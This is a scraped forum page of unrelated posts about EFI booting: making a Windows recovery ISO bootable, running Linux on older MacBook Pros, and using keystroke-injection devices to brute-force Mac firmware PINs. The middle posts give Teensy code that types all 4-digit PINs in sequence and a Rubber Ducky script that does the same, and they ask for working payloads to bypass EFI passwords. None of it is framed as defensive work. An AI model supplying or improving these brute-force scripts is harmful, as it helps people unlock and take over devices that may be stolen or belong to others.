Search the Community

BIOS is predecessor of UEFI, yet to create an bootable ISO image file for USB or optical media from USB recovery station content for an EFI system, I guess another boot image file will be needed. The situation here: I created an recovery medium on USB for Windows 10. At that moment I didn't realise the recovery station is from a EFI system. And the disc I created the recovery station on was way too big, so I could have cloned it to other media, but I choose to create a digital ISO image file of it. To make the ISO file on USB media bootable for a EFI system, the ISO image file should contain a boot image file. The only location I could find such file is on the root of the USB recovery station at ./EFI/boot/boot64.efi. Is that the boot image file I'll need to make the ISO image on USB media bootable for an UEFI system?

i cant find a fake counter for the ducky and this code is for the teensy, anyway to alter the code to get it to work on the ducky? Tried using this but the payload wouldn't work for me. thanks in advance! void setup() { pinMode(ledPin, OUTPUT); // declare LED as output delay(10000); } void loop(){ keyboard_modifier_keys = 0; if (counter <= 9999){ delay(8000); digitalWrite(ledPin, LOW); delay(5500); digitalWrite(ledPin, HIGH); sprintf(pin, "%04d", fakecounter); //sending first digit Keyboard.press(pin[0]); delay(450); Keyboard.release(pin[0]); delay(420); //sending second digit Keyboard.press(pin[1]); delay(398); Keyboard.release(pin[1]); delay(510); //sending third digit Keyboard.press(pin[2]); delay(421); Keyboard.release(pin[2]); delay(423); //sending forth digit Keyboard.press(pin[3]); delay(430); Keyboard.release(pin[3]); delay(525); //sending enter Keyboard.press(KEY_ENTER); delay(305); Keyboard.release(KEY_ENTER); } //reached 4 digit PIN max value if (counter > 9999){ for (int blinkies = 0; blinkies < 8; blinkies++) { digitalWrite(ledPin, HIGH); delay(20); digitalWrite(ledPin, LOW); delay(200); } delay(6000); } ++counter; fakecounter = counter; }

Hi all, i bought a rubber ducky recently for bypass the EFI password like Teensy 3 https://www.youtube.com/watch?v=xXMiX-Bybsw But when typing the password, just type 1 ore 2 dot in the password case and after type enter, sometimes make nothing... anyone know the issue for that? Thanks in advance. Sorry for my bad english because i'm from belgium...

Hey everyone, I created payload to find MacBook Air efi 4 digit PIN, but the problem is that after 3 wrong attempts you have to wait 1 minute. After 3 other attempts 5 minutes, and then 15 minutes and so on... Is there another way to find that dam'n PIN? My script was like this: STRING 0000 ENTER DELAY 1000 STRING 0001 ENTER DELAY 1000 STRING 0002 ENTER DELAY 1000 and when I enter the 3-rd PIN wrong I have to wait

Does anyone have the payload (or script) to brute force Mac's efi 4-digit pin? I would really appreciate it...

Hi Guys, I'm seeking help and would like to have a discussion about booting Linux on Apple hardware using an EFI boot loader. Probably not going to be a popular suggestion considering one of your sponsors is System76 but I thought I'd give it a try regardless. I came across a great tool called "Mac Linux USB Loader" which is still under heavy development. "This is the Mac Linux USB Loader, a tool allowing you to take an ISO of a Linux distribution and make it boot using EFI." http://sevenbits.github.io/Mac-Linux-USB-Loader/ https://github.com/SevenBits/Mac-Linux-USB-Loader I spoke to "SevenBits" the developer and there's an unresolved problem he hasn't been able to fix, which affects myself and others who use older Macbook Pro hardware (late 2008 4,1 and others). "I actually have an early 2008 MacBook Pro which also fails to boot Linux. I test the bootable drives my tool creates on a newer, separate machine. I believe with 90% certainty that the reason for this problem is the lack of Linux kernel mode setting (KMS) support in Apple's EFI firmware, which is required for nVidia video drivers to function properly. Disabling KMS in the boot options of most distros actually causes the splash screen to show up, but then X (the graphical windowing system used to provide a desktop) can't start because KMS is disabled, and so you are dropped into the terminal with a bash shell. If you like command line Ubuntu, this is fine, you can just connect to the web via Ethernet (and even install WiFi drivers) and go, but for 90% of us, this is an inadequate solution." Have you, or anyone you know had success finding a solution to this problem? Thanks, cryptomule